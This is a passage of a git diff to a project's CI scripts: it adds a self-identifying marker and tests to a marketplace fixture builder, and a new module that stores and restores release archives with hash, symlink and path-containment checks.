diff --git a/.github/scripts/build-marketplace-fixture.mjs b/.github/scripts/build-marketplace-fixture.mjs index 6e65da508..27f862edd 100644 --- a/.github/scripts/build-marketplace-fixture.mjs +++ b/.github/scripts/build-marketplace-fixture.mjs @@ -15,6 +15,11 @@ import { execFileSync } from "node:child_process"; import { mkdirSync, writeFileSync } from "node:fs"; import path from "node:path"; +import { + FIXTURE_MARKER_FILENAME, + FIXTURE_MARKER_PURPOSE, +} from "./marketplace-delivery-identity.mjs"; + function fail(message) { console.error(`::error::${message}`); process.exit(1); @@ -53,7 +58,8 @@ if (typeof manifest.version !== "string" || !manifest.version) { fail("pinned commit has no plugin version"); } -const catalogDirectory = path.join(path.resolve(args.out), ".agents", "plugins"); +const fixtureRoot = path.resolve(args.out); +const catalogDirectory = path.join(fixtureRoot, ".agents", "plugins"); mkdirSync(catalogDirectory, { recursive: true }); // Mirrors the live catalog's shape at .agents/plugins/marketplace.json. The // resolver rejects a catalog missing `name`, and the live catalog carries no @@ -87,9 +93,35 @@ writeFileSync( `${JSON.stringify(catalog, null, 2)}\n`, ); -// The fixture must be a git repository: the Codex resolver clones it like the live catalog. +// A fixture catalog is a DISTINCT delivery state, not a stand-in that may pass for the live +// catalog, so it says so in its own bytes. The installed-runtime predicate refuses to accept a +// deferred installation unless the resolved marketplace root carries this marker naming the +// exact commit the catalog pins -- an arbitrary local git directory, or a clone of the live +// marketplace, cannot satisfy the deferred shape by accident. +// +// This file sits beside .agents/, not inside it: the resolver reads only +// .agents/plugins/marketplace.json, so the catalog the resolver sees stays byte-identical in +// shape to the live one. +writeFileSync( + path.join(fixtureRoot, FIXTURE_MARKER_FILENAME), + `${JSON.stringify( + { + schema_version: 1, + purpose: FIXTURE_MARKER_PURPOSE, + pinned_commit: commit, + plugin_version: manifest.version, + }, + null, + 2, + )}\n`, +); + +// The fixture must be a git repository: the Codex resolver reads it like the live catalog. +// It deliberately has NO `origin` remote. Pointing one at the live marketplace URL would make +// the fixture claim an identity it does not have, and the deferred predicate asserts the +// absence positively rather than tolerating a failed probe. const git = (...command) => - execFileSync("git", ["-C", path.resolve(args.out), ...command], { encoding: "utf8" }); + execFileSync("git", ["-C", fixtureRoot, ...command], { encoding: "utf8" }); git("init", "--quiet", "--initial-branch", "main"); git("config", "user.email", "release@codestory.invalid"); git("config", "user.name", "CodeStory release"); diff --git a/.github/scripts/build-marketplace-fixture.test.mjs b/.github/scripts/build-marketplace-fixture.test.mjs index b6977634e..46a46692c 100644 --- a/.github/scripts/build-marketplace-fixture.test.mjs +++ b/.github/scripts/build-marketplace-fixture.test.mjs @@ -4,8 +4,8 @@ // fixture path failed at preflight. import assert from "node:assert/strict"; -import { execFileSync } from "node:child_process"; -import { mkdtempSync, readFileSync, rmSync } from "node:fs"; +import { execFileSync, spawnSync } from "node:child_process"; +import { existsSync, mkdtempSync, readFileSync, rmSync } from "node:fs"; import { tmpdir } from "node:os"; import path from "node:path"; import test from "node:test"; @@ -76,3 +76,69 @@ test("the fixture states no version, because the live catalog states none", () = rmSync(out, { recursive: true, force: true }); } }); + +// A fixture catalog is a DISTINCT delivery state, not a stand-in that may pass for the live one. +// The installed-runtime predicate refuses a deferred install whose marketplace root does not carry +// this marker naming the exact commit the catalog pins, so an arbitrary local git directory -- or +// a clone of the live marketplace -- cannot satisfy the deferred shape by accident. +test("the fixture identifies itself and the commit it pins", () => { + const { out, commit } = buildFixture(); + try { + const marker = JSON.parse( + readFileSync(path.join(out, ".codestory-marketplace-fixture.json"), "utf8"), + ); + assert.deepEqual(Object.keys(marker).sort(), [ + "pinned_commit", + "plugin_version", + "purpose", + "schema_version", + ]); + assert.equal(marker.schema_version, 1); + assert.equal(marker.purpose, "codestory-candidate-pinned-marketplace-fixture"); + assert.equal(marker.pinned_commit, commit); + // The marker must be committed, or a clean-tree check would pass over a fixture that had + // been re-marked after the fact. + assert.equal( + execFileSync("git", ["-C", out, "status", "--porcelain"], { encoding: "utf8" }).trim(), + "", + ); + } finally { + rmSync(out, { recursive: true, force: true }); + } +}); + +// The fixture deliberately has no `origin`. Pointing one at the live marketplace URL would make it +// claim an identity it does not have, and the predicate asserts the absence positively rather than +// treating a failed probe as proof of anything. The predicate's own probe used to hard-fail here, +// which is what made the deferred path unprovable in the first place. +test("the fixture is local-only and never claims the live marketplace as its origin", () => { + const { out } = buildFixture(); + try { + const probe = spawnSync("git", ["-C", out, "remote", "get-url", "origin"], { + encoding: "utf8", + }); + assert.notEqual(probe.status, 0, "a candidate-pinned fixture must have no origin remote"); + assert.match(probe.stderr, /No such remote/u); + assert.equal( + execFileSync("git", ["-C", out, "remote"], { encoding: "utf8" }).trim(), + "", + ); + } finally { + rmSync(out, { recursive: true, force: true }); + } +}); + +// The resolver reads .agents/plugins/marketplace.json and nothing else, so the marker must not +// change the catalog the resolver sees. +test("the marker sits outside the catalog the resolver reads", () => { + const { out, catalog } = buildFixture(); + try { + assert.equal(catalog.fixture, undefined); + assert.equal( + existsSync(path.join(out, ".agents", "plugins", ".codestory-marketplace-fixture.json")), + false, + ); + } finally { + rmSync(out, { recursive: true, force: true }); + } +}); diff --git a/.github/scripts/candidate-archive-store.mjs b/.github/scripts/candidate-archive-store.mjs new file mode 100644 index 000000000..f76284c18 --- /dev/null +++ b/.github/scripts/candidate-archive-store.mjs @@ -0,0 +1,1213 @@ +#!/usr/bin/env node + +import { + closeSync, + constants, + existsSync, + fstatSync, + fsyncSync, + lstatSync, + mkdirSync, + openSync, + readSync, + readdirSync, + realpathSync, + renameSync, + rmSync, + writeSync, +} from "node:fs"; +import { createHash, randomBytes } from "node:crypto"; +import path from "node:path"; +import { fileURLToPath } from "node:url"; + +const RECORD_SCHEMA = "codestory-candidate-archive-store/v1"; +const SHA = /^[0-9a-f]{40}$/u; +const SHA256 = /^[0-9a-f]{64}$/u; +const REPOSITORY = /^[A-Za-z0-9_.-]+\/[A-Za-z0-9_.-]+$/u; +const TARGET = /^[a-z0-9][a-z0-9._-]{0,63}$/u; +const COMPANION_ROLES = new Set([ + "archive_checksum", + "checksum_manifest", +]); +const RECORD_FILE = "candidate-archive-record.json"; +const PAYLOAD_DIRECTORY = "payload"; +const BUFFER_BYTES = 1024 * 1024; +const O_NOFOLLOW = constants.O_NOFOLLOW ?? 0; +const PORTABLE_COMPONENT = /^[A-Za-z0-9](?:[A-Za-z0-9._+-]*[A-Za-z0-9])?$/u; +const WINDOWS_RESERVED_COMPONENT = + /^(?:con|prn|aux|nul|com[1-9]|lpt[1-9])(?:\..*)?$/iu; + +// GitHub producer/run authentication stays in the workflow. This helper owns +// the inner byte boundary after that authentication: an exact record selects +// //, and every use revalidates the full +// allowlisted payload before copying it out of the protected-host store. + +function fail(message) { + throw new Error(message); +} + +function exactKeys(value, keys, label) { + if (value === null || typeof value !== "object" || Array.isArray(value)) { + fail(`${label} must be an object`); + } + const actual = Object.keys(value).sort(); + const expected = [...keys].sort(); + if (JSON.stringify(actual) !== JSON.stringify(expected)) { + fail(`${label} keys changed`); + } +} + +function requireString(value, label) { + if (typeof value !== "string" || value.length === 0) { + fail(`${label} must be a non-empty string`); + } + return value; +} + +function requireDigest(value, pattern, label) { + requireString(value, label); + if (!pattern.test(value)) { + fail(`${label} has an invalid digest`); + } + return value; +} + +function requireBytes(value, label) { + if (!Number.isSafeInteger(value) || value <= 0) { + fail(`${label} must be a positive safe integer`); + } + return value; +} + +function simpleName(value, label) { + requireString(value, label); + if ( + value === "." + || value === ".." + || value.includes("/") + || value.includes("\\") + || value.includes("\0") + || path.basename(value) !== value + || !PORTABLE_COMPONENT.test(value) + || WINDOWS_RESERVED_COMPONENT.test(value) + ) { + fail(`${label} must be a portable simple filename`); + } + return value; +} + +function relativePayloadPath(value, label) { + requireString(value, label); + if ( + value.includes("\\") + || value.includes("\0") + || path.posix.isAbsolute(value) + || path.win32.isAbsolute(value) + || path.posix.normalize(value) !== value + || value === "." + || value === ".." + || value.startsWith("../") + || value.split("/").some((component) => component === "" || component === "." || component === "..") + ) { + fail(`${label} must be a normalized relative POSIX path`); + } + for (const component of value.split("/")) { + if ( + !PORTABLE_COMPONENT.test(component) + || WINDOWS_RESERVED_COMPONENT.test(component) + ) { + fail(`${label} must contain only portable path components`); + } + } + return value; +} + +function canonicalJson(value) { + if (Array.isArray(value)) { + return `[${value.map(canonicalJson).join(",")}]`; + } + if (value && typeof value === "object") { + return `{${Object.keys(value) + .sort() + .map((key) => `${JSON.stringify(key)}:${canonicalJson(value[key])}`) + .join(",")}}`; + } + return JSON.stringify(value); +} + +function pathIdentity(value) { + const resolved = path.resolve(value); + return process.platform === "win32" ? resolved.toLowerCase() : resolved; +} + +function requireRealRoot(root, label) { + const resolved = path.resolve(root); + const metadata = lstatSync(resolved); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) { + fail(`${label} must be a real directory`); + } + const canonical = realpathSync.native(resolved); + if (pathIdentity(canonical) !== pathIdentity(resolved)) { + fail(`${label} must not have symbolic-link or reparse ancestry`); + } + return resolved; +} + +function containedRelativePath(root, candidate, label, { allowEqual = false } = {}) { + const relative = path.relative(root, candidate); + if ( + (!allowEqual && relative === "") + || relative === ".." + || relative.startsWith(`..${path.sep}`) + || path.isAbsolute(relative) + ) { + fail(`${label} must be a descendant of its trusted root`); + } + return relative; +} + +function inspectPathAncestry({ + allowMissing, + candidate, + label, + root, +}) { + const resolvedRoot = requireRealRoot(root, `${label} trusted root`); + const resolvedCandidate = path.resolve(candidate); + const relative = containedRelativePath(resolvedRoot, resolvedCandidate, label); + let cursor = resolvedRoot; + const components = relative.split(path.sep); + for (let index = 0; index < components.length; index += 1) { + cursor = path.join(cursor, components[index]); + if (!existsSync(cursor)) { + if (allowMissing) return { resolvedCandidate, resolvedRoot }; + fail(`${label} path component is missing`); + } + const metadata = lstatSync(cursor); + if (metadata.isSymbolicLink()) { + fail(`${label} must not traverse symbolic links or reparse points`); + } + if (index < components.length - 1 && !metadata.isDirectory()) { + fail(`${label} ancestor must be a directory`); + } + } + return { resolvedCandidate, resolvedRoot }; +} + +function safeRegularFile(file, label, { requireSingleLink }) { + const metadata = lstatSync(file, { bigint: true }); + if ( + metadata.isSymbolicLink() + || !metadata.isFile() + || (requireSingleLink && metadata.nlink !== 1n) + ) { + fail( + requireSingleLink + ? `${label} must be a regular, non-symlink, singly linked file` + : `${label} must be a regular non-symlink file`, + ); + } + const handle = openSync(file, constants.O_RDONLY | O_NOFOLLOW); + const opened = fstatSync(handle, { bigint: true }); + if ( + !opened.isFile() + || opened.dev !== metadata.dev + || opened.ino !== metadata.ino + || opened.size !== metadata.size + || (requireSingleLink && opened.nlink !== 1n) + ) { + closeSync(handle); + fail(`${label} changed while it was opened`); + } + if (opened.size > BigInt(Number.MAX_SAFE_INTEGER)) { + closeSync(handle); + fail(`${label} is too large`); + } + return { + handle, + size: Number(opened.size), + }; +} + +function digestHandle(handle) { + const digest = createHash("sha256"); + const buffer = Buffer.allocUnsafe(BUFFER_BYTES); + let position = 0; + for (;;) { + const bytesRead = readSync(handle, buffer, 0, buffer.length, position); + if (bytesRead === 0) break; + digest.update(buffer.subarray(0, bytesRead)); + position += bytesRead; + } + return digest.digest("hex"); +} + +function readHandle(handle, bytes, label) { + const output = Buffer.allocUnsafe(bytes); + let position = 0; + while (position < bytes) { + const count = readSync( + handle, + output, + position, + bytes - position, + position, + ); + if (count === 0) { + fail(`${label} changed while it was read`); + } + position += count; + } + const sentinel = Buffer.allocUnsafe(1); + if (readSync(handle, sentinel, 0, 1, position) !== 0) { + fail(`${label} changed while it was read`); + } + return output; +} + +function sha256File(file, label, { requireSingleLink = true } = {}) { + const opened = safeRegularFile(file, label, { requireSingleLink }); + try { + return { + bytes: opened.size, + sha256: digestHandle(opened.handle), + }; + } finally { + closeSync(opened.handle); + } +} + +function writeAll(handle, buffer, position) { + let written = 0; + while (written < buffer.length) { + const count = writeSync( + handle, + buffer, + written, + buffer.length - written, + position + written, + ); + if (count <= 0) fail("short write while materializing candidate archive payload"); + written += count; + } +} + +function copyVerifiedFile({ + destination, + expected, + label, + source, + sourceRequiresSingleLink, +}) { + const opened = safeRegularFile(source, `${label} source`, { + requireSingleLink: sourceRequiresSingleLink, + }); + let output; + try { + output = openSync( + destination, + constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL, + 0o600, + ); + const digest = createHash("sha256"); + const buffer = Buffer.allocUnsafe(BUFFER_BYTES); + let position = 0; + for (;;) { + const bytesRead = readSync(opened.handle, buffer, 0, buffer.length, position); + if (bytesRead === 0) break; + const chunk = buffer.subarray(0, bytesRead); + digest.update(chunk); + writeAll(output, chunk, position); + position += bytesRead; + } + fsyncSync(output); + const actualDigest = digest.digest("hex"); + if (position !== expected.bytes || actualDigest !== expected.sha256) { + fail(`${label} source does not match its expected size and SHA-256`); + } + } finally { + closeSync(opened.handle); + if (output !== undefined) closeSync(output); + } + const retained = sha256File(destination, `${label} destination`); + if (retained.bytes !== expected.bytes || retained.sha256 !== expected.sha256) { + fail(`${label} destination changed after materialization`); + } +} + +function companionPathContract(role, relativePath, archiveName) { + if (role === "archive_checksum") { + if (relativePath !== `${archiveName}.sha256`) { + fail("archive checksum companion path does not match the archive name"); + } + return; + } + if (role === "checksum_manifest") { + if (relativePath !== "SHA256SUMS.txt") { + fail("checksum manifest companion must be SHA256SUMS.txt"); + } + return; + } + fail(`${role} is not a public candidate archive companion`); +} + +function normalizeCompanions(companions, archiveName) { + if (!Array.isArray(companions)) { + fail("candidate archive companions must be an array"); + } + const roles = new Set(); + const paths = new Set(); + const normalized = companions.map((companion, index) => { + exactKeys( + companion, + ["role", "relative_path", "bytes", "sha256"], + `candidate archive companion ${index}`, + ); + const role = requireString( + companion.role, + `candidate archive companion ${index} role`, + ); + if (!COMPANION_ROLES.has(role) || roles.has(role)) { + fail("candidate archive companion roles must be unique and supported"); + } + roles.add(role); + const relativePath = relativePayloadPath( + companion.relative_path, + `candidate archive companion ${role} path`, + ); + companionPathContract(role, relativePath, archiveName); + const pathKey = relativePath.toLowerCase(); + if (paths.has(pathKey)) { + fail("candidate archive payload paths must remain distinct on Windows"); + } + paths.add(pathKey); + return { + role, + relative_path: relativePath, + bytes: requireBytes( + companion.bytes, + `candidate archive companion ${role} bytes`, + ), + sha256: requireDigest( + companion.sha256, + SHA256, + `candidate archive companion ${role} SHA-256`, + ), + }; + }); + if ( + roles.size !== COMPANION_ROLES.size + || [...COMPANION_ROLES].some((role) => !roles.has(role)) + ) { + fail("candidate archive must retain exactly its two public checksum companions"); + } + const archiveChecksum = normalized.find( + (companion) => companion.role === "archive_checksum", + ); + const checksumManifest = normalized.find( + (companion) => companion.role === "checksum_manifest", + ); + if ( + archiveChecksum.bytes !== checksumManifest.bytes + || archiveChecksum.sha256 !== checksumManifest.sha256 + ) { + fail("per-candidate checksum files must retain the same checksum line"); + } + return normalized.sort((left, right) => left.role.localeCompare(right.role)); +} + +export function buildCandidateArchiveRecord({ + archive, + companions = [], + repository, + sourceSha, + sourceTree, + target, +}) { + if (!REPOSITORY.test(requireString(repository, "repository"))) { + fail("repository must use the exact owner/name form"); + } + requireDigest(sourceSha, SHA, "source SHA"); + requireDigest(sourceTree, SHA, "source tree"); + if (!TARGET.test(requireString(target, "target"))) { + fail("target must use a stable lowercase target name"); + } + exactKeys( + archive, + ["name", "relative_path", "bytes", "sha256"], + "candidate archive", + ); + const name = simpleName(archive.name, "candidate archive name"); + const relativePath = relativePayloadPath( + archive.relative_path, + "candidate archive relative path", + ); + if (relativePath !== name) { + fail("candidate archive must be at the payload root under its exact name"); + } + const archivePathKey = relativePath.toLowerCase(); + const normalizedCompanions = normalizeCompanions(companions, name); + if ( + normalizedCompanions.some( + (companion) => companion.relative_path.toLowerCase() === archivePathKey, + ) + ) { + fail("candidate archive and companion paths must be distinct"); + } + return { + schema: RECORD_SCHEMA, + repository, + source: { + commit: sourceSha, + tree: sourceTree, + }, + target, + archive: { + name, + relative_path: relativePath, + bytes: requireBytes(archive.bytes, "candidate archive bytes"), + sha256: requireDigest( + archive.sha256, + SHA256, + "candidate archive SHA-256", + ), + }, + companions: normalizedCompanions, + }; +} + +export function validateCandidateArchiveRecord(record) { + exactKeys( + record, + ["schema", "repository", "source", "target", "archive", "companions"], + "candidate archive record", + ); + if (record.schema !== RECORD_SCHEMA) { + fail("candidate archive record schema changed"); + } + exactKeys(record.source, ["commit", "tree"], "candidate archive source"); + const normalized = buildCandidateArchiveRecord({ + archive: record.archive, + companions: record.companions, + repository: record.repository, + sourceSha: record.source.commit, + sourceTree: record.source.tree, + target: record.target, + }); + if (canonicalJson(normalized) !== canonicalJson(record)) { + fail("candidate archive record is not canonical"); + } + return normalized; +} + +export function candidateArchiveStoreKey(record) { + const expected = validateCandidateArchiveRecord(record); + return [ + expected.source.commit, + expected.target, + expected.archive.sha256, + ].join("/"); +} + +function entryPaths(storeRoot, record) { + const root = requireRealRoot(storeRoot, "candidate archive store root"); + const key = candidateArchiveStoreKey(record); + const entry = path.join(root, "objects", "v1", ...key.split("/")); + return { + entry, + key, + parent: path.dirname(entry), + payload: path.join(entry, PAYLOAD_DIRECTORY), + recordFile: path.join(entry, RECORD_FILE), + root, + }; +} + +function requiredPayloads(record) { + return [ + { + role: "archive", + relative_path: record.archive.relative_path, + bytes: record.archive.bytes, + sha256: record.archive.sha256, + }, + ...record.companions, + ]; +} + +function expectedDirectories(payloads) { + const directories = new Set(); + for (const payload of payloads) { + const components = payload.relative_path.split("/"); + components.pop(); + let cursor = ""; + for (const component of components) { + cursor = cursor === "" ? component : `${cursor}/${component}`; + directories.add(cursor); + } + } + return directories; +} + +function walkPayloadTree(root, label, { requireSingleLink }) { + requireRealRoot(root, label); + const files = new Map(); + const directories = new Set(); + const pending = [{ absolute: root, relative: "" }]; + while (pending.length > 0) { + const current = pending.pop(); + for (const name of readdirSync(current.absolute)) { + const absolute = path.join(current.absolute, name); + const relative = current.relative === "" + ? name + : `${current.relative}/${name}`; + relativePayloadPath(relative, `${label} entry`); + const metadata = lstatSync(absolute); + if (metadata.isSymbolicLink()) { + fail(`${label} must not contain symbolic links or reparse points`); + } + if (metadata.isDirectory()) { + directories.add(relative); + pending.push({ absolute, relative }); + } else if (metadata.isFile()) { + if (requireSingleLink && metadata.nlink !== 1) { + fail(`${label} files must be singly linked`); + } + files.set(relative, absolute); + } else { + fail(`${label} must contain only regular files and directories`); + } + } + } + return { directories, files }; +} + +function verifyPayloadTree(root, record, label, { requireSingleLink = true } = {}) { + const payloads = requiredPayloads(record); + const expectedFiles = new Set(payloads.map((payload) => payload.relative_path)); + const expectedDirs = expectedDirectories(payloads); + const actual = walkPayloadTree(root, label, { requireSingleLink }); + if ( + canonicalJson([...actual.files.keys()].sort()) + !== canonicalJson([...expectedFiles].sort()) + || canonicalJson([...actual.directories].sort()) + !== canonicalJson([...expectedDirs].sort()) + ) { + fail(`${label} does not contain the exact candidate payload allowlist`); + } + for (const payload of payloads) { + const file = actual.files.get(payload.relative_path); + const measured = sha256File(file, `${label} ${payload.role}`, { + requireSingleLink, + }); + if (measured.bytes !== payload.bytes || measured.sha256 !== payload.sha256) { + fail(`${label} ${payload.role} does not match its retained size and SHA-256`); + } + } + return actual; +} + +function readRecordFile(recordFile, label) { + const resolved = path.resolve(recordFile); + const canonical = realpathSync.native(resolved); + if (pathIdentity(canonical) !== pathIdentity(resolved)) { + fail(`${label} must not have symbolic-link or reparse ancestry`); + } + const opened = safeRegularFile( + resolved, + label, + { requireSingleLink: true }, + ); + if (opened.size > 64 * 1024) { + closeSync(opened.handle); + fail(`${label} is too large`); + } + let encoded; + try { + encoded = readHandle( + opened.handle, + opened.size, + label, + ).toString("utf8"); + } finally { + closeSync(opened.handle); + } + let parsed; + try { + parsed = JSON.parse(encoded); + } catch { + fail(`${label} is not valid JSON`); + } + return validateCandidateArchiveRecord(parsed); +} + +export function readCandidateArchiveRecord(recordFile) { + return readRecordFile(recordFile, "candidate archive authenticated record"); +} + +export function writeCandidateArchiveRecord(recordFile, record) { + const expected = validateCandidateArchiveRecord(record); + const resolved = path.resolve(recordFile); + const parent = requireRealRoot( + path.dirname(resolved), + "candidate archive record output directory", + ); + containedRelativePath( + parent, + resolved, + "candidate archive record output", + ); + writeStoredRecord(resolved, expected); + return resolved; +} + +function sameRecord(left, right) { + return canonicalJson(left) === canonicalJson(right); +} + +function verifyStoreEntry(storeRoot, expectedRecord) { + const expected = validateCandidateArchiveRecord(expectedRecord); + const paths = entryPaths(storeRoot, expected); + inspectPathAncestry({ + allowMissing: false, + candidate: paths.entry, + label: "candidate archive store entry", + root: paths.root, + }); + const entryMetadata = lstatSync(paths.entry); + if (entryMetadata.isSymbolicLink() || !entryMetadata.isDirectory()) { + fail("candidate archive store entry must be a real directory"); + } + const entries = readdirSync(paths.entry).sort(); + if (canonicalJson(entries) !== canonicalJson([PAYLOAD_DIRECTORY, RECORD_FILE].sort())) { + fail("candidate archive store entry contains unexpected files"); + } + const stored = readRecordFile( + paths.recordFile, + "candidate archive stored record", + ); + if (!sameRecord(stored, expected)) { + fail("candidate archive store entry belongs to a different candidate"); + } + verifyPayloadTree(paths.payload, expected, "candidate archive store payload"); + return { paths, record: stored }; +} + +function ensureRealDescendantDirectories(root, candidate, label) { + const resolvedRoot = requireRealRoot(root, `${label} root`); + const resolvedCandidate = path.resolve(candidate); + const relative = containedRelativePath( + resolvedRoot, + resolvedCandidate, + label, + { allowEqual: true }, + ); + if (relative === "") return resolvedCandidate; + let cursor = resolvedRoot; + for (const component of relative.split(path.sep)) { + cursor = path.join(cursor, component); + if (!existsSync(cursor)) { + mkdirSync(cursor, { mode: 0o700 }); + } + const metadata = lstatSync(cursor); + if (metadata.isSymbolicLink() || !metadata.isDirectory()) { + fail(`${label} must not traverse symbolic links, reparse points, or files`); + } + } + return resolvedCandidate; +} + +function writeStoredRecord(file, record) { + const output = openSync( + file, + constants.O_WRONLY | constants.O_CREAT | constants.O_EXCL, + 0o600, + ); + try { + const bytes = Buffer.from(`${JSON.stringify(record, null, 2)}\n`, "utf8"); + writeAll(output, bytes, 0); + fsyncSync(output); + } finally { + closeSync(output); + } +} + +function uniqueTemporarySibling(parent, basename) { + return path.join( + parent, + `.${basename}.partial-${process.pid}-${randomBytes(12).toString("hex")}`, + ); +} + +function requireOwnedCorruptEntry(paths) { + inspectPathAncestry({ + allowMissing: false, + candidate: paths.entry, + label: "candidate archive corrupt store entry", + root: paths.root, + }); + const entryMetadata = lstatSync(paths.entry, { bigint: true }); + if (entryMetadata.isSymbolicLink() || !entryMetadata.isDirectory()) { + fail("candidate archive corrupt store entry must be a real directory"); + } + const canonical = realpathSync.native(paths.entry); + if (pathIdentity(canonical) !== pathIdentity(paths.entry)) { + fail("candidate archive corrupt store entry must have real ancestry"); + } + const pending = [paths.entry]; + while (pending.length > 0) { + const directory = pending.pop(); + for (const name of readdirSync(directory)) { + const entry = path.join(directory, name); + const metadata = lstatSync(entry, { bigint: true }); + if (metadata.isSymbolicLink()) { + fail("candidate archive corrupt store entry contains a symbolic link or reparse point"); + } + if (metadata.isDirectory()) { + pending.push(entry); + } else if (!metadata.isFile() || metadata.nlink !== 1n) { + fail("candidate archive corrupt store entry contains an unowned file"); + } + } + } + return entryMetadata; +} + +function quarantineCorruptStoreEntry(paths) { + const before = requireOwnedCorruptEntry(paths); + const rejectedEntry = path.join( + paths.parent, + `.${path.basename(paths.entry)}.rejected-${process.pid}-${randomBytes(12).toString("hex")}`, + ); + renameSync(paths.entry, rejectedEntry); + const after = lstatSync(rejectedEntry, { bigint: true }); + if ( + !after.isDirectory() + || after.isSymbolicLink() + || after.dev !== before.dev + || after.ino !== before.ino + ) { + fail("candidate archive rejected store entry changed during quarantine"); + } + return rejectedEntry; +} + +function removeOwnedTemporary(directory, parent, basename) { + const resolvedParent = path.resolve(parent); + const resolved = path.resolve(directory); + containedRelativePath(resolvedParent, resolved, "owned temporary directory"); + if (!path.basename(resolved).startsWith(`.${basename}.partial-${process.pid}-`)) { + fail("refusing to remove an unowned temporary directory"); + } + rmSync(resolved, { force: true, recursive: true }); +} + +function copyPayloadTree({ + destination, + record, + source, + sourceRequiresSingleLink, +}) { + const payloads = requiredPayloads(record); + mkdirSync(destination, { mode: 0o700 }); + for (const directory of [...expectedDirectories(payloads)].sort()) { + ensureRealDescendantDirectories(destination, path.join(destination, ...directory.split("/")), "candidate payload directory"); + } + for (const payload of payloads) { + const components = payload.relative_path.split("/"); + copyVerifiedFile({ + destination: path.join(destination, ...components), + expected: payload, + label: `candidate payload ${payload.role}`, + source: path.join(source, ...components), + sourceRequiresSingleLink, + }); + } + verifyPayloadTree(destination, record, "materialized candidate payload"); +} + +function publishStoreEntry(storeRoot, inputRoot, record) { + const expected = validateCandidateArchiveRecord(record); + const paths = entryPaths(storeRoot, expected); + verifyPayloadTree( + requireRealRoot(inputRoot, "candidate archive input root"), + expected, + "candidate archive input payload", + ); + if (existsSync(paths.entry)) { + return { admitted: false, ...verifyStoreEntry(storeRoot, expected) }; + } + ensureRealDescendantDirectories(paths.root, paths.parent, "candidate archive store parent"); + const temporary = uniqueTemporarySibling(paths.parent, path.basename(paths.entry)); + try { + mkdirSync(temporary, { mode: 0o700 }); + const temporaryPayload = path.join(temporary, PAYLOAD_DIRECTORY); + copyPayloadTree({ + destination: temporaryPayload, + record: expected, + source: inputRoot, + sourceRequiresSingleLink: true, + }); + writeStoredRecord(path.join(temporary, RECORD_FILE), expected); + const temporaryEntries = readdirSync(temporary).sort(); + if ( + canonicalJson(temporaryEntries) + !== canonicalJson([PAYLOAD_DIRECTORY, RECORD_FILE].sort()) + ) { + fail("candidate archive temporary entry changed before publication"); + } + const temporaryRecord = readRecordFile( + path.join(temporary, RECORD_FILE), + "candidate archive temporary record", + ); + if (!sameRecord(temporaryRecord, expected)) { + fail("candidate archive temporary record changed before publication"); + } + verifyPayloadTree( + temporaryPayload, + expected, + "candidate archive temporary payload", + ); + + if (existsSync(paths.entry)) { + const concurrent = verifyStoreEntry(storeRoot, expected); + removeOwnedTemporary(temporary, paths.parent, path.basename(paths.entry)); + return { admitted: false, ...concurrent }; + } + const prepared = lstatSync(temporary, { bigint: true }); + try { + renameSync(temporary, paths.entry); + } catch (error) { + if (!["EEXIST", "ENOTEMPTY"].includes(error?.code) || !existsSync(paths.entry)) { + throw error; + } + const concurrent = verifyStoreEntry(storeRoot, expected); + removeOwnedTemporary(temporary, paths.parent, path.basename(paths.entry)); + return { admitted: false, ...concurrent }; + } + const published = lstatSync(paths.entry, { bigint: true }); + if ( + !published.isDirectory() + || published.isSymbolicLink() + || published.dev !== prepared.dev + || published.ino !== prepared.ino + ) { + fail("candidate archive store entry was not published by atomic directory rename"); + } + return { admitted: true, ...verifyStoreEntry(storeRoot, expected) }; + } catch (error) { + if (existsSync(temporary)) { + removeOwnedTemporary(temporary, paths.parent, path.basename(paths.entry)); + } + throw error; + } +} + +function materializeStoreEntry({ + outputDir, + outputRoot, + record, + storeRoot, +}) { + const verified = verifyStoreEntry(storeRoot, record); + const trustedOutputRoot = requireRealRoot( + outputRoot, + "candidate archive output root", + ); + const resolvedOutput = path.resolve(outputDir); + containedRelativePath( + trustedOutputRoot, + resolvedOutput, + "candidate archive output directory", + ); + const outputParent = ensureRealDescendantDirectories( + trustedOutputRoot, + path.dirname(resolvedOutput), + "candidate archive output parent", + ); + if (existsSync(resolvedOutput)) { + fail("candidate archive output directory must not already exist"); + } + const temporary = uniqueTemporarySibling(outputParent, path.basename(resolvedOutput)); + try { + copyPayloadTree({ + destination: temporary, + record: verified.record, + source: verified.paths.payload, + sourceRequiresSingleLink: true, + }); + if (existsSync(resolvedOutput)) { + fail("candidate archive output directory appeared during materialization"); + } + renameSync(temporary, resolvedOutput); + const materialized = verifyPayloadTree( + resolvedOutput, + verified.record, + "candidate archive restored payload", + ); + const companions = Object.fromEntries( + verified.record.companions.map((companion) => [ + companion.role, + materialized.files.get(companion.relative_path), + ]), + ); + return { + archive: materialized.files.get(verified.record.archive.relative_path), + companions, + key: verified.paths.key, + outputDir: resolvedOutput, + record: verified.record, + }; + } catch (error) { + if (existsSync(temporary)) { + removeOwnedTemporary( + temporary, + outputParent, + path.basename(resolvedOutput), + ); + } + throw error; + } +} + +export function restoreCandidateArchive({ + outputDir, + outputRoot, + record, + storeRoot, +}) { + const expected = validateCandidateArchiveRecord(record); + const paths = entryPaths(storeRoot, expected); + if (!existsSync(paths.entry)) { + return { + hit: false, + key: paths.key, + record: expected, + }; + } + try { + verifyStoreEntry(storeRoot, expected); + } catch (error) { + const rejectedEntry = quarantineCorruptStoreEntry(paths); + return { + hit: false, + key: paths.key, + record: expected, + rejectedCorrupt: true, + rejectedEntry, + rejection: error.message, + }; + } + return { + hit: true, + ...materializeStoreEntry({ + outputDir, + outputRoot, + record: expected, + storeRoot, + }), + }; +} + +export function admitCandidateArchive({ + inputRoot, + outputDir, + outputRoot, + record, + storeRoot, +}) { + const expected = validateCandidateArchiveRecord(record); + const stored = publishStoreEntry(storeRoot, inputRoot, expected); + return { + admitted: stored.admitted, + hit: !stored.admitted, + ...materializeStoreEntry({ + outputDir, + outputRoot, + record: expected, + storeRoot, + }), + }; +} + +function parseArguments(argv) { + const [command, ...rest] = argv; + const values = new Map(); + for (let index = 0; index < rest.length; index += 2) { + const flag = rest[index]; + const value = rest[index + 1]; + if (!flag?.startsWith("--") || value === undefined) { + fail(`invalid argument near ${flag ?? ""}`); + } + if (!values.has(flag)) values.set(flag, []); + values.get(flag).push(value); + } + return { command, values }; +} + +function one(values, flag) { + const found = values.get(flag) ?? []; + if (found.length !== 1) { + fail(`${flag} must be supplied exactly once`); + } + return found[0]; +} + +function parsePositiveInteger(value, label) { + if 